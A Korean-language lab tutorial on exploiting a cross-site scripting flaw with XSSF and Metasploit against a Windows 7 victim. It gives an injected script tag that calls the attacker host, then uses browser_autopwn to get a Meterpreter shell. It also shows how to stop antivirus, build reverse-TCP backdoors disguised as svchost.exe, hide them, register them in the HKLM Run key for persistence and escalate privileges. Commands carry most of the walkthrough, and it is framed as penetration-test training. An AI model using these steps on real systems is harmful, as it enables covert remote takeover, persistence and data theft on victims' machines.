XSSF(Cross Site Scripting Framework)는 웹 취약점 중 하나인 크로스 사이트 스크립팅 취약점이 발견되었을 때, 사용자PC에 다양한 공격을 수행할 수 있도록 모듈로 구성된 프레임워크이다.
해당 프레임워크와 동일한 기능을 수행하는 BeEF(Browser Exploitation Framework)가 있으며, MSF(Metasploit Framework)와 연동이 가능하다.
여기서 생각해봐야할 점이 있다. 웹 취약점이 발견되었는데 왜 이런 도구를 이용하는 것일까?
취약점 진단을 하다가 크로스 사이트 스크립팅 취약점이 발견되었다면 XSSF, BeEF, MSF 등과 같은 도구를 활용하여 내부 시스템 침투가 가능한지 공격 시나리오를 세워야 한다. 단순하게 취약점 진단만 하면 어떤 위협이 발생한지 모른다. 그렇기 때문에 어떤 위협이 발생되었는지 보여줄 필요가 있다.
실습 환경
구분 | 내용 |
공격자 | 10.10.0.6 / Kali Linux 1.0.9 |
희생자 | 10.10.0.7 / Windows 7 |
서버 | 10.10.0.15 / Windows Server 2003 |
XSSF 설치
XSSF 다운로드 사이트에서 칼리 리눅스에서 metasploit-framework 디렉토리로 이동하여 wget 명령어로 XSSF를 다운로드 받거나 svn 명령어로 원본 소스 파일을 현재 디렉토리로 다운로드 받아서 설치한다.
○ locate 명령어 : 특정 패턴의 파일의 경로 검색
○ svn command URL args : 저장소(Repository)에서 XSSF 원본 소스 파일을 현재 디렉토리에 다운로드 받아 설치
root@kali:~# locate msf3
/opt/metasploit/apps/pro/msf3
root@kali:~# cd /opt/metasploit/apps/pro/msf3
root@kali:~# svn export http://xssf.googlecode.com/svn/trunk ./ --force
XSSF를 활용한 내부 시스템 침투 공격
MSF를 최초 실행하면 XSSF 모듈을 사용할 수 없으므로 XSSF를 로드한다. 로드하는데 성공하면 XSSF 관련 명령어를 사용할 수 있는 환경이 갖추게 된다.
명령어 | 설명 |
load xssf | MSF에서 XSSF 모듈 로드 |
help xssf | XSSF 도움말 |
search xssf | XSSF 취약점 검색 |
xssf_urls | XSS에 취약한 대상의 게시글에 삽입할 URL (http://10.10.0.6:8888/loop) |
xssf_victims | 희생자PC의 목록 확인 |
xssf_active_victims | 현재 활성화된 희생자PC 확인 |
http://localhost:8889/gui.html?guipage=main |
공격자가 희생자PC의 세션이 맺어진 후 현재 상황을 GUI로 확인 |
공격자는 취약한 환경이 구축된 웹 사이트에 접속해서 Q&A 게시판에 공격자 서버(xssf url)로 전송되는 스크립트를 작성한다.
사용자는 공격자가 작성한 게시글을 클릭하면 사용자의 웹 브라우저에서 악성 스크립트가 실행되어 공격자와 사용자는 세션이 맺어진다.
○ <script type="text/javascript" src="http://10.10.0.6:8888/loop?interval=5">test</script>
- interval 매개변수 : 희생자PC가 5초 간격으로 대상 서버에 접속 (세션 유지)
xssf_information 1을 입력하면 현재 세션이 맺어진 희생자PC의 자세한 정보가 확인된다.
○ 사용 형식 : xssf_information 희생자ID
○ ID 확인 : xssf_victims 명령어로 확인
희생자PC의 웹 브라우저 취약점을 이용해 내부 시스템 침투 공격을 수행하기 위해 웹 브라우저 취약점을 자동으로 검색해주는 모듈을 이용한다.
○ search autopwn
○ info auxiliary/server/browser_autopwn
- autopwn : 희생자PC의 취약점을 자동으로 검색해주는 모듈
- exploit -j : 익스플로잇을 백그라운드에서 실행
autopwn 모듈이 실행되고 있는 과정이며 취약점 검색이 완료되면 found 21 exploit modules 문자열이 출력된다. 희생자PC는 현재 21개의 취약점이 발견된 상태이다.
found 21 exploit modules 문자열이 출력되면 몇 초 뒤 엔터키를 누르고, jobs 명령어를 입력하면 백그라운드로 실행된 모듈이 출력된다.
희생자PC의 세션이 끊어질 가능성이 있으므로 항상 xssf_active_victims 명령어를 수시로 확인해야 한다. 세션이 끊어지지 않았다면 XSSF redirect 모듈을 이용해 익스플로잇 공격을 수행한다.
○ redirect : 희생자PC를 C&C서버로 이동시켜 autopwn 공격 수행
익스플로잇이 정상적으로 수행되면 migrate가 출력된다. 이 상태에서 xssf_victims 명령어를 입력하면 희생자PC가 세션이 끊어진다.
희생자PC를 C&C로 이동시키고, 자동화 공격 모듈인 autopwn을 이용해 희생자PC의 세션을 가져오는데 성공했다.
○ sessions –l : 활성화된 모든 세션 정보
세션 아이디가 1인 희생자PC에 접속을 시도하면 미터프리터 쉘을 획득한다.
희생자PC에 백신 프로그램이 설치되어 동작중이면 공격을 수행하는데 에러 사항이 발생하므로 미터프리터 쉘에서 백신 프로그램을 종료시킨다.
희생자PC가 재부팅을 해도 공격자와 세션이 맺어지려면 백도어 파일을 시작 레지스트리에 등록해야 한다. Ctrl + z > y를 입력하면 현재 세션을 백그라운드로 전환된다. 이후 msfpayload 명령어를 이용해 백도어 파일을 생성한다.
○ msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.0.15 lport=8888 -e x86/shikata_ga_nai -i 10 -a x86 --platform window -f exe > svchost.exe
○ msf auxiliary(redirect) > msfpayload windows/meterpreter/reverse_tcp lhost=10.10.0.6 lport=9999 X >> bak.exe
ls 명령어를 입력하면 백도어가 정상적으로 생성됐다. 백도어 파일은 MSF를 구동시킨 현재 디렉토리에 생성된다.
백그라운드로 실행된 세션 아이디로 접속 후 희생자가 눈치채지 못한 디렉토리에 백도어 파일를 업로드 한다.
희생자PC와 세션이 유지되도록 Ctrl + z > y를 누른 후 핸들러를 설정한다.
백그라운드로 실행된 세션 아이디로 접속 후 희생자PC의 로컬 쉘을 획득한다. 이후 백도어 파일을 업로드한 디렉토리로 이동해서 백도어 파일을 실행한다.
희생자PC가 재부팅을 해도 공격자와 세션이 맺어지도록 시작 레지스트리를 조작해야 한다. reg setval 명령어를 이용해 시작 레지스트리에 백도어 파일을 등록한다.
구분 | 설명 |
레지스트리 키 열거 | reg enumkey -k "HKLM\\software\\microsoft\\windows\\currentversion\\run" |
레지스트리 값 질의 | reg queryval -k "HKLM\\software\\microsoft\\windows\\currentversion\\run" -v "VMware User Process" |
레지스트리 값 수정 | reg setval -k "HKLM\\software\\microsoft\\windows\\currentversion\\run" -v "bak.exe" -d "C:\\Windows\\Temp\\bak.exe" |
트러블 슈팅
만약, 백도어 파일을 실행하는데 에러가 발생하면 exit > y를 누르고, 미터프리터 쉘에서 getsystem 명령어를 입력해 시스템 권한으로 실행하면 된다.
○ meterpreter> getuid
○ meterpreter> getsystem
getsystem 명령어로 시스템 권한 상승이 되지 않을 때, 현재 실행중인 프로세스를 explorer.exe로 전환하면 된다.
○ meterpreter> run migreate –n "explorer.exe"
○ meterpreter> shell
○ C:\Windows\system32>cd C:\Windows\Temp
○ C:\Windows\Temp>bak.exe
○ C:\Windows\Temp>exit
미터프리터 쉘에서 reboot -f 명령어 실행 시 에러가 발생하면 msfpayload를 이용해 새로운 백도어 파일을 만든다.
이후 핸들러를 설정하여 현재 백그라운드로 실행된 세션에 접속해서 백도어 파일을 업로드하고 실행하면 된다.
▶ Metasploit meterpreter 기능 및 사용법
▶ CVE-2014-6332 취약점 분석 (Internet Explorer)